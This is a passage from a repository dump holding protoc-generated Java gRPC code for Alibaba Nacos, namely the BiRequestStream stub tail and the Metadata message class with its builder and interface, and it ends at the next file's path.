io.grpc.CallOptions callOptions) {\n      super(channel, callOptions);\n    }\n\n    @Override\n    protected BiRequestStreamFutureStub build(io.grpc.Channel channel,\n        io.grpc.CallOptions callOptions) {\n      return new BiRequestStreamFutureStub(channel, callOptions);\n    }\n  }\n\n  private static final int METHODID_REQUEST_BI_STREAM = 0;\n\n  private static final class MethodHandlers<Req, Resp> implements\n      io.grpc.stub.ServerCalls.UnaryMethod<Req, Resp>,\n      io.grpc.stub.ServerCalls.ServerStreamingMethod<Req, Resp>,\n      io.grpc.stub.ServerCalls.ClientStreamingMethod<Req, Resp>,\n      io.grpc.stub.ServerCalls.BidiStreamingMethod<Req, Resp> {\n    private final BiRequestStreamImplBase serviceImpl;\n    private final int methodId;\n\n    MethodHandlers(BiRequestStreamImplBase serviceImpl, int methodId) {\n      this.serviceImpl = serviceImpl;\n      this.methodId = methodId;\n    }\n\n    @Override\n    @SuppressWarnings(\"unchecked\")\n    public void invoke(Req request, io.grpc.stub.StreamObserver<Resp> responseObserver) {\n      switch (methodId) {\n        default:\n          throw new AssertionError();\n      }\n    }\n\n    @Override\n    @SuppressWarnings(\"unchecked\")\n    public io.grpc.stub.StreamObserver<Req> invoke(\n        io.grpc.stub.StreamObserver<Resp> responseObserver) {\n      switch (methodId) {\n        case METHODID_REQUEST_BI_STREAM:\n          return (io.grpc.stub.StreamObserver<Req>) serviceImpl.requestBiStream(\n              (io.grpc.stub.StreamObserver<com.alibaba.nacos.api.grpc.auto.Payload>) responseObserver);\n        default:\n          throw new AssertionError();\n      }\n    }\n  }\n\n  private static abstract class BiRequestStreamBaseDescriptorSupplier\n      implements io.grpc.protobuf.ProtoFileDescriptorSupplier, io.grpc.protobuf.ProtoServiceDescriptorSupplier {\n    BiRequestStreamBaseDescriptorSupplier() {}\n\n    @Override\n    public com.google.protobuf.Descriptors.FileDescriptor getFileDescriptor() {\n      return com.alibaba.nacos.api.grpc.auto.NacosGrpcService.getDescriptor();\n    }\n\n    @Override\n    public com.google.protobuf.Descriptors.ServiceDescriptor getServiceDescriptor() {\n      return getFileDescriptor().findServiceByName(\"BiRequestStream\");\n    }\n  }\n\n  private static final class BiRequestStreamFileDescriptorSupplier\n      extends BiRequestStreamBaseDescriptorSupplier {\n    BiRequestStreamFileDescriptorSupplier() {}\n  }\n\n  private static final class BiRequestStreamMethodDescriptorSupplier\n      extends BiRequestStreamBaseDescriptorSupplier\n      implements io.grpc.protobuf.ProtoMethodDescriptorSupplier {\n    private final String methodName;\n\n    BiRequestStreamMethodDescriptorSupplier(String methodName) {\n      this.methodName = methodName;\n    }\n\n    @Override\n    public com.google.protobuf.Descriptors.MethodDescriptor getMethodDescriptor() {\n      return getServiceDescriptor().findMethodByName(methodName);\n    }\n  }\n\n  private static volatile io.grpc.ServiceDescriptor serviceDescriptor;\n\n  public static io.grpc.ServiceDescriptor getServiceDescriptor() {\n    io.grpc.ServiceDescriptor result = serviceDescriptor;\n    if (result == null) {\n      synchronized (BiRequestStreamGrpc.class) {\n        result = serviceDescriptor;\n        if (result == null) {\n          serviceDescriptor = result = io.grpc.ServiceDescriptor.newBuilder(SERVICE_NAME)\n              .setSchemaDescriptor(new BiRequestStreamFileDescriptorSupplier())\n              .addMethod(getRequestBiStreamMethod())\n              .build();\n        }\n      }\n    }\n    return result;\n  }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/grpc/auto/Metadata.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.grpc.auto;\n\n/**\n * Protobuf type {@code Metadata}\n */\npublic  final class Metadata extends\n    com.google.protobuf.GeneratedMessageV3 implements\n    // @@protoc_insertion_point(message_implements:Metadata)\n    MetadataOrBuilder {\nprivate static final long serialVersionUID = 0L;\n  // Use Metadata.newBuilder() to construct.\n  private Metadata(com.google.protobuf.GeneratedMessageV3.Builder<?> builder) {\n    super(builder);\n  }\n  private Metadata() {\n    type_ = \"\";\n    clientIp_ = \"\";\n  }\n\n  @Override\n  @SuppressWarnings({\"unused\"})\n  protected Object newInstance(\n      UnusedPrivateParameter unused) {\n    return new Metadata();\n  }\n\n  @Override\n  public final com.google.protobuf.UnknownFieldSet\n  getUnknownFields() {\n    return this.unknownFields;\n  }\n  private Metadata(\n      com.google.protobuf.CodedInputStream input,\n      com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n      throws com.google.protobuf.InvalidProtocolBufferException {\n    this();\n    if (extensionRegistry == null) {\n      throw new NullPointerException();\n    }\n    int mutable_bitField0_ = 0;\n    com.google.protobuf.UnknownFieldSet.Builder unknownFields =\n        com.google.protobuf.UnknownFieldSet.newBuilder();\n    try {\n      boolean done = false;\n      while (!done) {\n        int tag = input.readTag();\n        switch (tag) {\n          case 0:\n            done = true;\n            break;\n          case 26: {\n            String s = input.readStringRequireUtf8();\n\n            type_ = s;\n            break;\n          }\n          case 58: {\n            if (!((mutable_bitField0_ & 0x00000001) != 0)) {\n              headers_ = com.google.protobuf.MapField.newMapField(\n                  HeadersDefaultEntryHolder.defaultEntry);\n              mutable_bitField0_ |= 0x00000001;\n            }\n            com.google.protobuf.MapEntry<String, String>\n            headers__ = input.readMessage(\n                HeadersDefaultEntryHolder.defaultEntry.getParserForType(), extensionRegistry);\n            headers_.getMutableMap().put(\n                headers__.getKey(), headers__.getValue());\n            break;\n          }\n          case 66: {\n            String s = input.readStringRequireUtf8();\n\n            clientIp_ = s;\n            break;\n          }\n          default: {\n            if (!parseUnknownField(\n                input, unknownFields, extensionRegistry, tag)) {\n              done = true;\n            }\n            break;\n          }\n        }\n      }\n    } catch (com.google.protobuf.InvalidProtocolBufferException e) {\n      throw e.setUnfinishedMessage(this);\n    } catch (java.io.IOException e) {\n      throw new com.google.protobuf.InvalidProtocolBufferException(\n          e).setUnfinishedMessage(this);\n    } finally {\n      this.unknownFields = unknownFields.build();\n      makeExtensionsImmutable();\n    }\n  }\n  public static final com.google.protobuf.Descriptors.Descriptor\n      getDescriptor() {\n    return NacosGrpcService.internal_static_Metadata_descriptor;\n  }\n\n  @SuppressWarnings({\"rawtypes\"})\n  @Override\n  protected com.google.protobuf.MapField internalGetMapField(\n      int number) {\n    switch (number) {\n      case 7:\n        return internalGetHeaders();\n      default:\n        throw new RuntimeException(\n            \"Invalid map field number: \" + number);\n    }\n  }\n  @Override\n  protected FieldAccessorTable\n      internalGetFieldAccessorTable() {\n    return NacosGrpcService.internal_static_Metadata_fieldAccessorTable\n        .ensureFieldAccessorsInitialized(\n            Metadata.class, Builder.class);\n  }\n\n  public static final int TYPE_FIELD_NUMBER = 3;\n  private volatile Object type_;\n  /**\n   * <code>string type = 3;</code>\n   */\n  public String getType() {\n    Object ref = type_;\n    if (ref instanceof String) {\n      return (String) ref;\n    } else {\n      com.google.protobuf.ByteString bs = \n          (com.google.protobuf.ByteString) ref;\n      String s = bs.toStringUtf8();\n      type_ = s;\n      return s;\n    }\n  }\n  /**\n   * <code>string type = 3;</code>\n   */\n  public com.google.protobuf.ByteString\n      getTypeBytes() {\n    Object ref = type_;\n    if (ref instanceof String) {\n      com.google.protobuf.ByteString b = \n          com.google.protobuf.ByteString.copyFromUtf8(\n              (String) ref);\n      type_ = b;\n      return b;\n    } else {\n      return (com.google.protobuf.ByteString) ref;\n    }\n  }\n\n  public static final int CLIENTIP_FIELD_NUMBER = 8;\n  private volatile Object clientIp_;\n  /**\n   * <code>string clientIp = 8;</code>\n   */\n  public String getClientIp() {\n    Object ref = clientIp_;\n    if (ref instanceof String) {\n      return (String) ref;\n    } else {\n      com.google.protobuf.ByteString bs = \n          (com.google.protobuf.ByteString) ref;\n      String s = bs.toStringUtf8();\n      clientIp_ = s;\n      return s;\n    }\n  }\n  /**\n   * <code>string clientIp = 8;</code>\n   */\n  public com.google.protobuf.ByteString\n      getClientIpBytes() {\n    Object ref = clientIp_;\n    if (ref instanceof String) {\n      com.google.protobuf.ByteString b = \n          com.google.protobuf.ByteString.copyFromUtf8(\n              (String) ref);\n      clientIp_ = b;\n      return b;\n    } else {\n      return (com.google.protobuf.ByteString) ref;\n    }\n  }\n\n  public static final int HEADERS_FIELD_NUMBER = 7;\n  private static final class HeadersDefaultEntryHolder {\n    static final com.google.protobuf.MapEntry<\n        String, String> defaultEntry =\n            com.google.protobuf.MapEntry\n            .<String, String>newDefaultInstance(\n                NacosGrpcService.internal_static_Metadata_HeadersEntry_descriptor,\n                com.google.protobuf.WireFormat.FieldType.STRING,\n                \"\",\n                com.google.protobuf.WireFormat.FieldType.STRING,\n                \"\");\n  }\n  private com.google.protobuf.MapField<\n      String, String> headers_;\n  private com.google.protobuf.MapField<String, String>\n  internalGetHeaders() {\n    if (headers_ == null) {\n      return com.google.protobuf.MapField.emptyMapField(\n          HeadersDefaultEntryHolder.defaultEntry);\n    }\n    return headers_;\n  }\n\n  public int getHeadersCount() {\n    return internalGetHeaders().getMap().size();\n  }\n  /**\n   * <code>map&lt;string, string&gt; headers = 7;</code>\n   */\n\n  public boolean containsHeaders(\n      String key) {\n    if (key == null) { throw new NullPointerException(); }\n    return internalGetHeaders().getMap().containsKey(key);\n  }\n  /**\n   * Use {@link #getHeadersMap()} instead.\n   */\n  @Deprecated\n  public java.util.Map<String, String> getHeaders() {\n    return getHeadersMap();\n  }\n  /**\n   * <code>map&lt;string, string&gt; headers = 7;</code>\n   */\n\n  public java.util.Map<String, String> getHeadersMap() {\n    return internalGetHeaders().getMap();\n  }\n  /**\n   * <code>map&lt;string, string&gt; headers = 7;</code>\n   */\n\n  public String getHeadersOrDefault(\n      String key,\n      String defaultValue) {\n    if (key == null) { throw new NullPointerException(); }\n    java.util.Map<String, String> map =\n        internalGetHeaders().getMap();\n    return map.getOrDefault(key, defaultValue);\n  }\n  /**\n   * <code>map&lt;string, string&gt; headers = 7;</code>\n   */\n\n  public String getHeadersOrThrow(\n      String key) {\n    if (key == null) { throw new NullPointerException(); }\n    java.util.Map<String, String> map =\n        internalGetHeaders().getMap();\n    if (!map.containsKey(key)) {\n      throw new IllegalArgumentException();\n    }\n    return map.get(key);\n  }\n\n  private byte memoizedIsInitialized = -1;\n  @Override\n  public final boolean isInitialized() {\n    byte isInitialized = memoizedIsInitialized;\n    if (isInitialized == 1) return true;\n    if (isInitialized == 0) return false;\n\n    memoizedIsInitialized = 1;\n    return true;\n  }\n\n  @Override\n  public void writeTo(com.google.protobuf.CodedOutputStream output)\n                      throws java.io.IOException {\n    if (!getTypeBytes().isEmpty()) {\n      com.google.protobuf.GeneratedMessageV3.writeString(output, 3, type_);\n    }\n    com.google.protobuf.GeneratedMessageV3\n      .serializeStringMapTo(\n        output,\n        internalGetHeaders(),\n        HeadersDefaultEntryHolder.defaultEntry,\n        7);\n    if (!getClientIpBytes().isEmpty()) {\n      com.google.protobuf.GeneratedMessageV3.writeString(output, 8, clientIp_);\n    }\n    unknownFields.writeTo(output);\n  }\n\n  @Override\n  public int getSerializedSize() {\n    int size = memoizedSize;\n    if (size != -1) return size;\n\n    size = 0;\n    if (!getTypeBytes().isEmpty()) {\n      size += com.google.protobuf.GeneratedMessageV3.computeStringSize(3, type_);\n    }\n    for (java.util.Map.Entry<String, String> entry\n         : internalGetHeaders().getMap().entrySet()) {\n      com.google.protobuf.MapEntry<String, String>\n      headers__ = HeadersDefaultEntryHolder.defaultEntry.newBuilderForType()\n          .setKey(entry.getKey())\n          .setValue(entry.getValue())\n          .build();\n      size += com.google.protobuf.CodedOutputStream\n          .computeMessageSize(7, headers__);\n    }\n    if (!getClientIpBytes().isEmpty()) {\n      size += com.google.protobuf.GeneratedMessageV3.computeStringSize(8, clientIp_);\n    }\n    size += unknownFields.getSerializedSize();\n    memoizedSize = size;\n    return size;\n  }\n\n  @Override\n  public boolean equals(final Object obj) {\n    if (obj == this) {\n     return true;\n    }\n    if (!(obj instanceof Metadata)) {\n      return super.equals(obj);\n    }\n    Metadata other = (Metadata) obj;\n\n    if (!getType()\n        .equals(other.getType())) return false;\n    if (!getClientIp()\n        .equals(other.getClientIp())) return false;\n    if (!internalGetHeaders().equals(\n        other.internalGetHeaders())) return false;\n    if (!unknownFields.equals(other.unknownFields)) return false;\n    return true;\n  }\n\n  @Override\n  public int hashCode() {\n    if (memoizedHashCode != 0) {\n      return memoizedHashCode;\n    }\n    int hash = 41;\n    hash = (19 * hash) + getDescriptor().hashCode();\n    hash = (37 * hash) + TYPE_FIELD_NUMBER;\n    hash = (53 * hash) + getType().hashCode();\n    hash = (37 * hash) + CLIENTIP_FIELD_NUMBER;\n    hash = (53 * hash) + getClientIp().hashCode();\n    if (!internalGetHeaders().getMap().isEmpty()) {\n      hash = (37 * hash) + HEADERS_FIELD_NUMBER;\n      hash = (53 * hash) + internalGetHeaders().hashCode();\n    }\n    hash = (29 * hash) + unknownFields.hashCode();\n    memoizedHashCode = hash;\n    return hash;\n  }\n\n  public static Metadata parseFrom(\n      java.nio.ByteBuffer data)\n      throws com.google.protobuf.InvalidProtocolBufferException {\n    return PARSER.parseFrom(data);\n  }\n  public static Metadata parseFrom(\n      java.nio.ByteBuffer data,\n      com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n      throws com.google.protobuf.InvalidProtocolBufferException {\n    return PARSER.parseFrom(data, extensionRegistry);\n  }\n  public static Metadata parseFrom(\n      com.google.protobuf.ByteString data)\n      throws com.google.protobuf.InvalidProtocolBufferException {\n    return PARSER.parseFrom(data);\n  }\n  public static Metadata parseFrom(\n      com.google.protobuf.ByteString data,\n      com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n      throws com.google.protobuf.InvalidProtocolBufferException {\n    return PARSER.parseFrom(data, extensionRegistry);\n  }\n  public static Metadata parseFrom(byte[] data)\n      throws com.google.protobuf.InvalidProtocolBufferException {\n    return PARSER.parseFrom(data);\n  }\n  public static Metadata parseFrom(\n      byte[] data,\n      com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n      throws com.google.protobuf.InvalidProtocolBufferException {\n    return PARSER.parseFrom(data, extensionRegistry);\n  }\n  public static Metadata parseFrom(java.io.InputStream input)\n      throws java.io.IOException {\n    return com.google.protobuf.GeneratedMessageV3\n        .parseWithIOException(PARSER, input);\n  }\n  public static Metadata parseFrom(\n      java.io.InputStream input,\n      com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n      throws java.io.IOException {\n    return com.google.protobuf.GeneratedMessageV3\n        .parseWithIOException(PARSER, input, extensionRegistry);\n  }\n  public static Metadata parseDelimitedFrom(java.io.InputStream input)\n      throws java.io.IOException {\n    return com.google.protobuf.GeneratedMessageV3\n        .parseDelimitedWithIOException(PARSER, input);\n  }\n  public static Metadata parseDelimitedFrom(\n      java.io.InputStream input,\n      com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n      throws java.io.IOException {\n    return com.google.protobuf.GeneratedMessageV3\n        .parseDelimitedWithIOException(PARSER, input, extensionRegistry);\n  }\n  public static Metadata parseFrom(\n      com.google.protobuf.CodedInputStream input)\n      throws java.io.IOException {\n    return com.google.protobuf.GeneratedMessageV3\n        .parseWithIOException(PARSER, input);\n  }\n  public static Metadata parseFrom(\n      com.google.protobuf.CodedInputStream input,\n      com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n      throws java.io.IOException {\n    return com.google.protobuf.GeneratedMessageV3\n        .parseWithIOException(PARSER, input, extensionRegistry);\n  }\n\n  @Override\n  public Builder newBuilderForType() { return newBuilder(); }\n  public static Builder newBuilder() {\n    return DEFAULT_INSTANCE.toBuilder();\n  }\n  public static Builder newBuilder(Metadata prototype) {\n    return DEFAULT_INSTANCE.toBuilder().mergeFrom(prototype);\n  }\n  @Override\n  public Builder toBuilder() {\n    return this == DEFAULT_INSTANCE\n        ? new Builder() : new Builder().mergeFrom(this);\n  }\n\n  @Override\n  protected Builder newBuilderForType(\n      BuilderParent parent) {\n    Builder builder = new Builder(parent);\n    return builder;\n  }\n  /**\n   * Protobuf type {@code Metadata}\n   */\n  public static final class Builder extends\n      com.google.protobuf.GeneratedMessageV3.Builder<Builder> implements\n      // @@protoc_insertion_point(builder_implements:Metadata)\n      MetadataOrBuilder {\n    public static final com.google.protobuf.Descriptors.Descriptor\n        getDescriptor() {\n      return NacosGrpcService.internal_static_Metadata_descriptor;\n    }\n\n    @SuppressWarnings({\"rawtypes\"})\n    protected com.google.protobuf.MapField internalGetMapField(\n        int number) {\n      switch (number) {\n        case 7:\n          return internalGetHeaders();\n        default:\n          throw new RuntimeException(\n              \"Invalid map field number: \" + number);\n      }\n    }\n    @SuppressWarnings({\"rawtypes\"})\n    protected com.google.protobuf.MapField internalGetMutableMapField(\n        int number) {\n      switch (number) {\n        case 7:\n          return internalGetMutableHeaders();\n        default:\n          throw new RuntimeException(\n              \"Invalid map field number: \" + number);\n      }\n    }\n    @Override\n    protected FieldAccessorTable\n        internalGetFieldAccessorTable() {\n      return NacosGrpcService.internal_static_Metadata_fieldAccessorTable\n          .ensureFieldAccessorsInitialized(\n              Metadata.class, Builder.class);\n    }\n\n    // Construct using com.alibaba.nacos.api.grpc.auto.Metadata.newBuilder()\n    private Builder() {\n      maybeForceBuilderInitialization();\n    }\n\n    private Builder(\n        BuilderParent parent) {\n      super(parent);\n      maybeForceBuilderInitialization();\n    }\n    private void maybeForceBuilderInitialization() {\n      if (com.google.protobuf.GeneratedMessageV3\n              .alwaysUseFieldBuilders) {\n      }\n    }\n    @Override\n    public Builder clear() {\n      super.clear();\n      type_ = \"\";\n\n      clientIp_ = \"\";\n\n      internalGetMutableHeaders().clear();\n      return this;\n    }\n\n    @Override\n    public com.google.protobuf.Descriptors.Descriptor\n        getDescriptorForType() {\n      return NacosGrpcService.internal_static_Metadata_descriptor;\n    }\n\n    @Override\n    public Metadata getDefaultInstanceForType() {\n      return Metadata.getDefaultInstance();\n    }\n\n    @Override\n    public Metadata build() {\n      Metadata result = buildPartial();\n      if (!result.isInitialized()) {\n        throw newUninitializedMessageException(result);\n      }\n      return result;\n    }\n\n    @Override\n    public Metadata buildPartial() {\n      Metadata result = new Metadata(this);\n      int from_bitField0_ = bitField0_;\n      result.type_ = type_;\n      result.clientIp_ = clientIp_;\n      result.headers_ = internalGetHeaders();\n      result.headers_.makeImmutable();\n      onBuilt();\n      return result;\n    }\n\n    @Override\n    public Builder clone() {\n      return super.clone();\n    }\n    @Override\n    public Builder setField(\n        com.google.protobuf.Descriptors.FieldDescriptor field,\n        Object value) {\n      return super.setField(field, value);\n    }\n    @Override\n    public Builder clearField(\n        com.google.protobuf.Descriptors.FieldDescriptor field) {\n      return super.clearField(field);\n    }\n    @Override\n    public Builder clearOneof(\n        com.google.protobuf.Descriptors.OneofDescriptor oneof) {\n      return super.clearOneof(oneof);\n    }\n    @Override\n    public Builder setRepeatedField(\n        com.google.protobuf.Descriptors.FieldDescriptor field,\n        int index, Object value) {\n      return super.setRepeatedField(field, index, value);\n    }\n    @Override\n    public Builder addRepeatedField(\n        com.google.protobuf.Descriptors.FieldDescriptor field,\n        Object value) {\n      return super.addRepeatedField(field, value);\n    }\n    @Override\n    public Builder mergeFrom(com.google.protobuf.Message other) {\n      if (other instanceof Metadata) {\n        return mergeFrom((Metadata)other);\n      } else {\n        super.mergeFrom(other);\n        return this;\n      }\n    }\n\n    public Builder mergeFrom(Metadata other) {\n      if (other == Metadata.getDefaultInstance()) return this;\n      if (!other.getType().isEmpty()) {\n        type_ = other.type_;\n        onChanged();\n      }\n      if (!other.getClientIp().isEmpty()) {\n        clientIp_ = other.clientIp_;\n        onChanged();\n      }\n      internalGetMutableHeaders().mergeFrom(\n          other.internalGetHeaders());\n      this.mergeUnknownFields(other.unknownFields);\n      onChanged();\n      return this;\n    }\n\n    @Override\n    public final boolean isInitialized() {\n      return true;\n    }\n\n    @Override\n    public Builder mergeFrom(\n        com.google.protobuf.CodedInputStream input,\n        com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n        throws java.io.IOException {\n      Metadata parsedMessage = null;\n      try {\n        parsedMessage = PARSER.parsePartialFrom(input, extensionRegistry);\n      } catch (com.google.protobuf.InvalidProtocolBufferException e) {\n        parsedMessage = (Metadata) e.getUnfinishedMessage();\n        throw e.unwrapIOException();\n      } finally {\n        if (parsedMessage != null) {\n          mergeFrom(parsedMessage);\n        }\n      }\n      return this;\n    }\n    private int bitField0_;\n\n    private Object type_ = \"\";\n    /**\n     * <code>string type = 3;</code>\n     */\n    public String getType() {\n      Object ref = type_;\n      if (!(ref instanceof String)) {\n        com.google.protobuf.ByteString bs =\n            (com.google.protobuf.ByteString) ref;\n        String s = bs.toStringUtf8();\n        type_ = s;\n        return s;\n      } else {\n        return (String) ref;\n      }\n    }\n    /**\n     * <code>string type = 3;</code>\n     */\n    public com.google.protobuf.ByteString\n        getTypeBytes() {\n      Object ref = type_;\n      if (ref instanceof String) {\n        com.google.protobuf.ByteString b = \n            com.google.protobuf.ByteString.copyFromUtf8(\n                (String) ref);\n        type_ = b;\n        return b;\n      } else {\n        return (com.google.protobuf.ByteString) ref;\n      }\n    }\n    /**\n     * <code>string type = 3;</code>\n     */\n    public Builder setType(\n        String value) {\n      if (value == null) {\n    throw new NullPointerException();\n  }\n  \n      type_ = value;\n      onChanged();\n      return this;\n    }\n    /**\n     * <code>string type = 3;</code>\n     */\n    public Builder clearType() {\n      \n      type_ = getDefaultInstance().getType();\n      onChanged();\n      return this;\n    }\n    /**\n     * <code>string type = 3;</code>\n     */\n    public Builder setTypeBytes(\n        com.google.protobuf.ByteString value) {\n      if (value == null) {\n    throw new NullPointerException();\n  }\n  checkByteStringIsUtf8(value);\n      \n      type_ = value;\n      onChanged();\n      return this;\n    }\n\n    private Object clientIp_ = \"\";\n    /**\n     * <code>string clientIp = 8;</code>\n     */\n    public String getClientIp() {\n      Object ref = clientIp_;\n      if (!(ref instanceof String)) {\n        com.google.protobuf.ByteString bs =\n            (com.google.protobuf.ByteString) ref;\n        String s = bs.toStringUtf8();\n        clientIp_ = s;\n        return s;\n      } else {\n        return (String) ref;\n      }\n    }\n    /**\n     * <code>string clientIp = 8;</code>\n     */\n    public com.google.protobuf.ByteString\n        getClientIpBytes() {\n      Object ref = clientIp_;\n      if (ref instanceof String) {\n        com.google.protobuf.ByteString b = \n            com.google.protobuf.ByteString.copyFromUtf8(\n                (String) ref);\n        clientIp_ = b;\n        return b;\n      } else {\n        return (com.google.protobuf.ByteString) ref;\n      }\n    }\n    /**\n     * <code>string clientIp = 8;</code>\n     */\n    public Builder setClientIp(\n        String value) {\n      if (value == null) {\n    throw new NullPointerException();\n  }\n  \n      clientIp_ = value;\n      onChanged();\n      return this;\n    }\n    /**\n     * <code>string clientIp = 8;</code>\n     */\n    public Builder clearClientIp() {\n      \n      clientIp_ = getDefaultInstance().getClientIp();\n      onChanged();\n      return this;\n    }\n    /**\n     * <code>string clientIp = 8;</code>\n     */\n    public Builder setClientIpBytes(\n        com.google.protobuf.ByteString value) {\n      if (value == null) {\n    throw new NullPointerException();\n  }\n  checkByteStringIsUtf8(value);\n      \n      clientIp_ = value;\n      onChanged();\n      return this;\n    }\n\n    private com.google.protobuf.MapField<\n        String, String> headers_;\n    private com.google.protobuf.MapField<String, String>\n    internalGetHeaders() {\n      if (headers_ == null) {\n        return com.google.protobuf.MapField.emptyMapField(\n            HeadersDefaultEntryHolder.defaultEntry);\n      }\n      return headers_;\n    }\n    private com.google.protobuf.MapField<String, String>\n    internalGetMutableHeaders() {\n      onChanged();\n      if (headers_ == null) {\n        headers_ = com.google.protobuf.MapField.newMapField(\n            HeadersDefaultEntryHolder.defaultEntry);\n      }\n      if (!headers_.isMutable()) {\n        headers_ = headers_.copy();\n      }\n      return headers_;\n    }\n\n    public int getHeadersCount() {\n      return internalGetHeaders().getMap().size();\n    }\n    /**\n     * <code>map&lt;string, string&gt; headers = 7;</code>\n     */\n\n    public boolean containsHeaders(\n        String key) {\n      if (key == null) { throw new NullPointerException(); }\n      return internalGetHeaders().getMap().containsKey(key);\n    }\n    /**\n     * Use {@link #getHeadersMap()} instead.\n     */\n    @Deprecated\n    public java.util.Map<String, String> getHeaders() {\n      return getHeadersMap();\n    }\n    /**\n     * <code>map&lt;string, string&gt; headers = 7;</code>\n     */\n\n    public java.util.Map<String, String> getHeadersMap() {\n      return internalGetHeaders().getMap();\n    }\n    /**\n     * <code>map&lt;string, string&gt; headers = 7;</code>\n     */\n\n    public String getHeadersOrDefault(\n        String key,\n        String defaultValue) {\n      if (key == null) { throw new NullPointerException(); }\n      java.util.Map<String, String> map =\n          internalGetHeaders().getMap();\n      return map.containsKey(key) ? map.get(key) : defaultValue;\n    }\n    /**\n     * <code>map&lt;string, string&gt; headers = 7;</code>\n     */\n\n    public String getHeadersOrThrow(\n        String key) {\n      if (key == null) { throw new NullPointerException(); }\n      java.util.Map<String, String> map =\n          internalGetHeaders().getMap();\n      if (!map.containsKey(key)) {\n        throw new IllegalArgumentException();\n      }\n      return map.get(key);\n    }\n\n    public Builder clearHeaders() {\n      internalGetMutableHeaders().getMutableMap()\n          .clear();\n      return this;\n    }\n    /**\n     * <code>map&lt;string, string&gt; headers = 7;</code>\n     */\n\n    public Builder removeHeaders(\n        String key) {\n      if (key == null) { throw new NullPointerException(); }\n      internalGetMutableHeaders().getMutableMap()\n          .remove(key);\n      return this;\n    }\n    /**\n     * Use alternate mutation accessors instead.\n     */\n    @Deprecated\n    public java.util.Map<String, String>\n    getMutableHeaders() {\n      return internalGetMutableHeaders().getMutableMap();\n    }\n    /**\n     * <code>map&lt;string, string&gt; headers = 7;</code>\n     */\n    public Builder putHeaders(\n        String key,\n        String value) {\n      if (key == null) { throw new NullPointerException(); }\n      if (value == null) { throw new NullPointerException(); }\n      internalGetMutableHeaders().getMutableMap()\n          .put(key, value);\n      return this;\n    }\n    /**\n     * <code>map&lt;string, string&gt; headers = 7;</code>\n     */\n\n    public Builder putAllHeaders(\n        java.util.Map<String, String> values) {\n      internalGetMutableHeaders().getMutableMap()\n          .putAll(values);\n      return this;\n    }\n    @Override\n    public final Builder setUnknownFields(\n        final com.google.protobuf.UnknownFieldSet unknownFields) {\n      return super.setUnknownFields(unknownFields);\n    }\n\n    @Override\n    public final Builder mergeUnknownFields(\n        final com.google.protobuf.UnknownFieldSet unknownFields) {\n      return super.mergeUnknownFields(unknownFields);\n    }\n\n\n    // @@protoc_insertion_point(builder_scope:Metadata)\n  }\n\n  // @@protoc_insertion_point(class_scope:Metadata)\n  private static final Metadata DEFAULT_INSTANCE;\n  static {\n    DEFAULT_INSTANCE = new Metadata();\n  }\n\n  public static Metadata getDefaultInstance() {\n    return DEFAULT_INSTANCE;\n  }\n\n  private static final com.google.protobuf.Parser<Metadata>\n      PARSER = new com.google.protobuf.AbstractParser<Metadata>() {\n    @Override\n    public Metadata parsePartialFrom(\n        com.google.protobuf.CodedInputStream input,\n        com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n        throws com.google.protobuf.InvalidProtocolBufferException {\n      return new Metadata(input, extensionRegistry);\n    }\n  };\n\n  public static com.google.protobuf.Parser<Metadata> parser() {\n    return PARSER;\n  }\n\n  @Override\n  public com.google.protobuf.Parser<Metadata> getParserForType() {\n    return PARSER;\n  }\n\n  @Override\n  public Metadata getDefaultInstanceForType() {\n    return DEFAULT_INSTANCE;\n  }\n\n}\n\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/grpc/auto/MetadataOrBuilder.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.grpc.auto;\n\npublic interface MetadataOrBuilder extends\n    // @@protoc_insertion_point(interface_extends:Metadata)\n    com.google.protobuf.MessageOrBuilder {\n\n  /**\n   * <code>string type = 3;</code>\n   */\n  String getType();\n  /**\n   * <code>string type = 3;</code>\n   */\n  com.google.protobuf.ByteString\n      getTypeBytes();\n\n  /**\n   * <code>string clientIp = 8;</code>\n   */\n  String getClientIp();\n  /**\n   * <code>string clientIp = 8;</code>\n   */\n  com.google.protobuf.ByteString\n      getClientIpBytes();\n\n  /**\n   * <code>map&lt;string, string&gt; headers = 7;</code>\n   */\n  int getHeadersCount();\n  /**\n   * <code>map&lt;string, string&gt; headers = 7;</code>\n   */\n  boolean containsHeaders(\n      String key);\n  /**\n   * Use {@link #getHeadersMap()} instead.\n   */\n  @Deprecated\n  java.util.Map<String, String>\n  getHeaders();\n  /**\n   * <code>map&lt;string, string&gt; headers = 7;</code>\n   */\n  java.util.Map<String, String>\n  getHeadersMap();\n  /**\n   * <code>map&lt;string, string&gt; headers = 7;</code>\n   */\n\n  String getHeadersOrDefault(\n      String key,\n      String defaultValue);\n  /**\n   * <code>map&lt;string, string&gt; headers = 7;</code>\n   */\n\n  String getHeadersOrThrow(\n      String key);\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/grpc/auto/NacosGrpcService.java",
